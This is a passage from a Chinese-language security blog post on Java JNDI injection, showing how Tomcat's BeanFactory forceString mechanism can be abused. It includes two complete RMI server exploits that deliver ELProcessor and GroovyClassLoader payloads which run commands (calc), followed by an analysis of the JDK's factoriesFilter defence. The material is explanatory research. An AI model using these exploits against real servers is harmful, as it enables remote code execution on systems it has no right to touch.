// 这里打印堆栈,便于诊断类加载问题
e.printStackTrace();
}
}

// 如果仍然找不到类,抛出命名异常
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
}

// 通过内省(Introspector)获取 Bean 的元信息(属性等)
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();

// 通过无参构造器创建 Bean 实例(要求目标类必须有 public 无参构造)
Object bean = beanClass.getConstructor().newInstance();

// ===================== 处理 forceString =====================
// forceString 是一个可选配置,用于指定某些属性使用“字符串参数”的 setter 来设置。
// 形式:
// forceString = "propA=customSetter, propB, propC=setXxx"
// - 若显式给出 method 名(形如 name=method),则使用该方法;
// - 若只给出属性名(如 propB),则默认拼接标准 setter 名:set + 首字母大写。
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;

if (ra != null) {
value = (String) ra.getContent();
Class<?>[] paramTypes = new Class[1];
paramTypes[0] = String.class;

String setterName;
int index;

// 逗号分隔多个配置项
for (String param : value.split(",")) {
param = param.trim();
// 支持 "name=method" 或仅 "name" 两种形式
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim(); // 提取属性名
} else {
// 未指定方法名则按标准 JavaBean 规则推导 setter
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
// 记录“强制使用 String 参数”的 setter 方法
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException | SecurityException ex) {
throw new NamingException(
"Forced String setter " + setterName +
" not found for property " + param);
}
}
}
// ================== 结束 forceString 处理 ===================

// 遍历引用中的所有条目
Enumeration<RefAddr> e = ref.getAll();

while (e.hasMoreElements()) {
ra = e.nextElement();

// RefAddr 的 type 通常用来表示属性名
String propName = ra.getType();

// 跳过一些特殊或内部使用的条目,不作为属性注入:
// - 工厂类名 (factory)
// - 作用域 (scope)
// - 认证方式 (auth)
// - 前面解释过的强制字符串 setter (forceString)
// - 是否单例 (singleton)
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}

// 取出该属性要设置的字符串值
value = (String) ra.getContent();

// 用于反射调用 setter 的参数数组(单参数)
Object[] valueArray = new Object[1];

// 若该属性在 forced 映射中,优先用“字符串参数”的 setter 直接注入
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray); // 🚨
} catch (IllegalAccessException |
IllegalArgumentException |
InvocationTargetException ex) {
throw new NamingException(
"Forced String setter " + method.getName() +
" threw exception for property " + propName);
}
continue; // 已处理,进入下一个属性
}

// [...]
}

// 全部属性处理完毕,返回配置好的 Bean
return bean;

}
// [...]

}
// [...]
}

这个函数主要逻辑如下:

  1. 取出 Reference 类中的 className 属性作为目标 Bean 的类名,使用 TCL(线程上下文类加载器)或系统类加载器加载。
  2. 通过无参构造器创建 Bean 实例(要求目标类必须有 public 无参构造)。
  3. 遍历 Reference 中的各个 RefAddr 条目,按属性名匹配并将字符串值转换为目标属性的类型,再调用对应 setter 注入。

因此如果我们可以通过构造一个 Reference 对象,使得在这个过程中,我们可以实例化任意一个本地类,然后调用这个实例的任意一个 setter 方法并传入任意字符串函数。

然而实际情况下很难有上述情景下能够实现 RCE 类,不过 BeanFactory 还有一个 forceString 机制,可以自定义 setter 方法名:

  1. 先从 ReferenceRefAddr 条目读出 forceString 的字符串,按逗号切分为若干 item
  2. 对每个 item
    • 形如 name=method:记录映射 forced.put(name, beanClass.getMethod(method, String.class))
    • 形如 name:推导 method = "set" + capitalize(name),并同样要求该方法**单参数且类型为 String**,记录映射 forced.put(name, beanClass.getMethod(method, String.class))
  3. 按照键值对 propName => value 遍历 Reference 中的每个 RefAddr
    • 跳过的保留键:factoryscopeauthforceStringsingleton 不会作为属性处理。
    • 若其 type(通常就是“属性名”)在 forced 映射里:直接调用那条方法:method.invoke(bean, new Object[]{ value })

因此我们可以通过控制 Reference 对象中名称为 forceStringRefAddr 参数来实现:

  • 任意类的加载+实例化(必须要有 public 属性的无参构造函数)
  • 任意函数调用且参数可控(函数只能有一个参数且类型为字符串)

满足上述条件的函数有 javax.el.ELProcessor#eval 方法或 groovy.lang.GroovyShell#evaluate 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class RMIServer {
// RMI 注册表端口,默认 1099
private static final int PORT = 1099;

public static void main(String[] args) throws Exception {
// 1) 构造一个 JNDI 引用对象(Reference),类型为 javax.el.ELProcessor
// 这里使用的是 Tomcat 的 org.apache.naming.ResourceRef,并指定其 ObjectFactory 为 BeanFactory
// —— 对应前文的 getObjectInstance,会根据该 Reference 去“实例化并配置” ELProcessor。
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor", // 引用目标类:EL 表达式处理器
null, // 工厂名相关参数(此处为 null)
"", "", // 地址类型/内容(此处用不到)
true, // 是否可单例(与 BeanFactory 内部处理有关)
"org.apache.naming.factory.BeanFactory", // 关键:指定由 BeanFactory 来“还原对象”
null);

// 2) forceString 机制:
// 告诉 BeanFactory:对于名为 "x" 的“属性”,不要按常规属性找 setter,
// 而是强制调用方法名为 "eval"、且形参为 String 的方法。
// —— 在 ELProcessor 上就会调用:eval(String script)
ref.add(new StringRefAddr("forceString", "x=eval"));

// 3) 设置“属性”x 的字符串内容。由于 forceString 的存在,
// BeanFactory 会等价执行:elProcessor.eval(<下方这个超长字符串>);
// 这段字符串在 EL 中通过反射和脚本引擎(Nashorn/JavaScript)最终触发进程执行。
ref.add(new StringRefAddr(
"x",
// 说明:这是一个 EL 表达式字符串(外层 Java 字符串需要转义双引号)
// 逻辑为:"" -> getClass() -> forName("javax.script.ScriptEngineManager")
// -> newInstance() -> getEngineByName("JavaScript")
// -> eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")
// 其中 eval 执行的是 JavaScript 代码,利用 Java 互操作去创建并启动 ProcessBuilder。
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"
));

// 4) 将上述 Reference 包装为可通过 RMI 传输/绑定的对象,然后绑定到名称 "exploit"
// 客户端对 "rmi://<server>:1099/exploit" 做 JNDI lookup 时,会取回这个 Reference,
// 随后 JNDI 会根据 ref 中指定的 BeanFactory 去“构造对象”,从而触发 eval(String)。
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
LocateRegistry.createRegistry(PORT).rebind("exploit", referenceWrapper);
System.out.println("[*] RMI listening on 0.0.0.0:" + PORT);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class RMIServer {
// 定义 RMI 注册表端口,默认为 1099
private static final int PORT = 1099;

public static void main(String[] args) throws Exception {
// 1) 构造一个 JNDI 引用对象(Reference),类型为 groovy.lang.GroovyClassLoader
// 使用的是 Tomcat 的 org.apache.naming.ResourceRef,并指定其 ObjectFactory 为 BeanFactory
// —— getObjectInstance 会根据该 Reference 去“实例化并配置” GroovyClassLoader。
ResourceRef ref = new ResourceRef(
"groovy.lang.GroovyClassLoader", // 引用目标类:GroovyClassLoader,负责加载 Groovy 脚本
null, // 工厂相关参数,这里为 null
"", "", // 地址类型和内容,在此处不使用
true, // 是否为单例对象,默认为 true
"org.apache.naming.factory.BeanFactory", // 使用 Tomcat 的 BeanFactory 来“还原对象”
null);

// 2) forceString 机制:告诉 BeanFactory,对于名为 "x" 的属性,不按常规 setter 进行设置,
// 而是强制调用方法名为 "parseClass"、且接受 String 参数的方法。
// —— 在 GroovyClassLoader 上就会调用:parseClass(String script)
ref.add(new StringRefAddr("forceString", "x=parseClass"));

// 3) 设置“属性”x 的字符串内容。由于 forceString 的存在,BeanFactory 会等价执行:
// groovyClassLoader.parseClass(<下方这个 Groovy 脚本>);
// 这段 Groovy 脚本通过 ASTTest 注解,执行 `Runtime.getRuntime().exec("calc")` 来启动计算器进程。
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + // 执行 calc 命令
"})\n" +
"def x\n"; // 通过注解触发的脚本,构造一个 Groovy 类并运行

// 将 Groovy 脚本内容添加到引用中,作为属性 "x" 的值
ref.add(new StringRefAddr("x", script));

// 4) 将上述 Reference 包装为可通过 RMI 传输/绑定的对象,然后绑定到名称 "exploit"
// 客户端对 "rmi://<server>:1099/exploit" 做 JNDI lookup 时,会取回这个 Reference,
// 随后 JNDI 会根据 ref 中指定的 BeanFactory 去“构造对象”,从而触发 parseClass(String)。
// 这时 Groovy 脚本通过 ASTTest 注解,执行在脚本内定义的 `exec("calc")`,进而触发进程执行。
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);

// 启动本地 RMI 注册表,监听 1099 端口,将 "exploit" 绑定到 RMI 注册表中
LocateRegistry.createRegistry(PORT).rebind("exploit", referenceWrapper);

// 打印 RMI 服务正在监听的端口,说明成功启动了 RMI 服务
System.out.println("[*] RMI listening on 0.0.0.0:" + PORT);
}
}

高版本 JDK 新增 jdk.jndi.object.factoriesFilter(系统或安全属性),用于匹配/限制允许实例化的工厂类(语法沿用 jdk.serialFilter 的模式串)。这是这段校验逻辑的依据。该属性最初在JDK 17主线提供,同时回补到 JDK 11.0.11、8u291、7u301 等长期更新分支。

新版 JNDI 的 NamingManager#getObjectFactoryFromReference 做了 先无初始化加载 → 立刻按白名单过滤,同时引入 全局 + 协议级 两层“工厂类过滤器”属性,默认更偏向只信任 JDK 自带 Provider 的工厂类;想让第三方工厂介入,必须显式放行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
* 根据引用(Reference)对象中指定的工厂类名和工厂代码库(codebase),
* 尝试加载并返回对应的 ObjectFactory。
*
* @param ref 非空的 Reference 对象,用于提供工厂类名和可能的 codebase。
* @param factoryName 工厂类的非空类名(全限定类名)。
* @return 返回能够实例化出的 ObjectFactory;若加载失败或被安全过滤器拦截,则返回 null。
* @throws IllegalAccessException 如果类或其构造方法不可访问。
* @throws InstantiationException 如果类是抽象类,接口,或者没有无参构造方法。
* @throws MalformedURLException 如果提供的 codebase 不是合法的 URL。
*/
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {

Class<?> clas = null;

// 第一步:尝试用当前 ClassLoader 加载工厂类,但不触发静态初始化
try {
clas = helper.loadClassWithoutInit(factoryName);

// 📌 使用 ObjectFactoriesFilter 校验该工厂类是否允许被实例化
if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null; // 若不允许,直接返回 null
}
} catch (ClassNotFoundException e) {
// 如果类在当前 classpath 找不到,忽略异常,继续尝试后续逻辑
}
// 其它异常(如安全异常、访问异常)会直接抛出

// 第二步:如果当前 classpath 中没找到,并且 Reference 里指定了 codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
// 从指定的 codebase(URL)加载工厂类
clas = helper.loadClass(factoryName, codebase);

// 📌 仍需校验该类是否符合安全过滤器要求
if (clas == null ||
!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null; // 不合法就拒绝
}
} catch (ClassNotFoundException e) {
// 依旧忽略,不处理
}
}

// 📌 第三步:若最终成功加载到类,则调用 newInstance() 实例化并返回 ObjectFactory
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

在本地类加载的分支中,com.sun.naming.internal.VersionHelper12#loadClassWithoutInit 在调用 loadClass 加载类的时候显式指定不初始化类,防止触发类中的静态代码块的执行。(远程类加载由于有 trustURLCodebase 检测,因此没有这方面的设置)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* 根据类名加载类,但不触发类的初始化。
*
* @param className 类的全限定名(例如 "java.util.HashMap")。
* @return 返回加载到的 Class 对象。
* @throws ClassNotFoundException 如果找不到指定的类。
*/
public Class<?> loadClassWithoutInit(String className) throws ClassNotFoundException {
// 调用重载的 loadClass 方法:
// 参数含义:
// - className: 要加载的类名
// - false: 表示“不要初始化类”(即不执行静态代码块、静态字段赋值等初始化动作)
// - getContextClassLoader(): 使用当前线程的上下文类加载器进行加载
return loadClass(className, false, getContextClassLoader());
}

另外就是调用类的无参构造函数实例化之前,会调用 com.sun.naming.internal.ObjectFactoriesFilterObjectFactoriesFilter#canInstantiateObjectsFactory 进行过滤。

canInstantiateObjectsFactory 实际上是通过调用 checkInput 进行过滤的。

1
2
3
4
5
6
7
8
9
/**
* 检查系统/安全属性 "jdk.jndi.object.factoriesFilter" 构造出来的过滤器,
* 是否允许实例化指定的工厂类(factoryClass)。
*
* 只要过滤结果不是 REJECTED(被拒绝),就视为允许。
*/
public static boolean canInstantiateObjectsFactory(Class<?> factoryClass) {
return checkInput(() -> factoryClass);
}

checkInput 调用全局过滤器 GLOBALcheckInput 方法进行过滤。

1
2
3
4
5
6
7
8
/**
* 调用全局过滤器检查。只要不是 REJECTED 就放行(true)。
* 注意:UNDECIDED(未匹配)也会被当成“允许”!
*/
private static boolean checkInput(FactoryInfo factoryInfo) {
Status result = GLOBAL.checkInput(factoryInfo);
return result != Status.REJECTED;
}

全局过滤器有限使用 SecurityProperties.privilegedGetOverridable 创建,如果无法创建则设置为默认值 DEFAULT_SP_VALUE,即允许所有类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 系统/安全属性名:配置“允许/拒绝 哪些工厂类”的模式串(与 jdk.serialFilter 同语法)
private static final String FACTORIES_FILTER_PROPNAME = "jdk.jndi.object.factoriesFilter";

// 默认值:"*" —— 前缀通配,等价于“允许所有类”
private static final String DEFAULT_SP_VALUE = "*";

// 进程级(类初始化时构造)的全局过滤器:只解析一次,static final 表示运行期改属性也不会自动生效
private static final ObjectInputFilter GLOBAL =
ObjectInputFilter.Config.createFilter(getFilterPropertyValue());

/**
* 读取过滤规则字符串:
* - 优先取系统属性(-D),否则取 java.security 安全属性;
* - 都没有则返回默认值 "*"
*/
private static String getFilterPropertyValue() {
String propVal = SecurityProperties.privilegedGetOverridable(FACTORIES_FILTER_PROPNAME);
return propVal != null ? propVal : DEFAULT_SP_VALUE;
}

privilegedGetOverridable 会分别从安全管理器(SecurityManager)和系统属性中读取 FACTORIES_FILTER_PROPNAMEjdk.jndi.object.factoriesFilter 的配置,由于我们默认没有设置,因此最终是按照默认的全部放行处理的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 返回安全属性 `propName` 的值,该值可以被同名的系统属性覆盖
*
* @param propName 系统属性或安全属性的名称
* @return 对应的属性值(如果系统属性存在,则优先返回系统属性;否则返回安全属性)
*/
public static String privilegedGetOverridable(String propName) {
// 如果当前没有安装 SecurityManager(即安全管理器为 null)
if (System.getSecurityManager() == null) {
// 直接去获取系统属性/安全属性
return getOverridableProperty(propName);
} else {
// 如果存在 SecurityManager,则必须在特权上下文中执行
// 使用 AccessController.doPrivileged 包装,避免安全检查失败
return AccessController.doPrivileged(
(PrivilegedAction<String>) () -> getOverridableProperty(propName)
);
}
}

private static String getOverridableProperty(String propName) {
// 先从系统属性(System property)中获取值
String val = System.getProperty(propName);
if (val == null) {
// 如果系统属性中没有,再去安全属性(Security property)里找
return Security.getProperty(propName);
} else {
// 如果系统属性存在,则优先返回系统属性的值
return val;
}
}

JDK 20/21 时代又新增协议粒度的属性:**jdk.jndi.ldap.object.factoriesFilterjdk.jndi.rmi.object.factoriesFilter**,用于分别限制来自 LDAP / RMI 的引用恢复(默认更严格,只允许 JDK 自带模块的工厂)。

  • Title: Java RMI & JNDI
  • Author: sky123
  • Created at : 2025-08-25 01:06:24
  • Updated at : 2025-08-31 23:17:42
  • Link: https://skyi23.github.io/2025/08/25/Java RMI & JNDI/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Java RMI & JNDI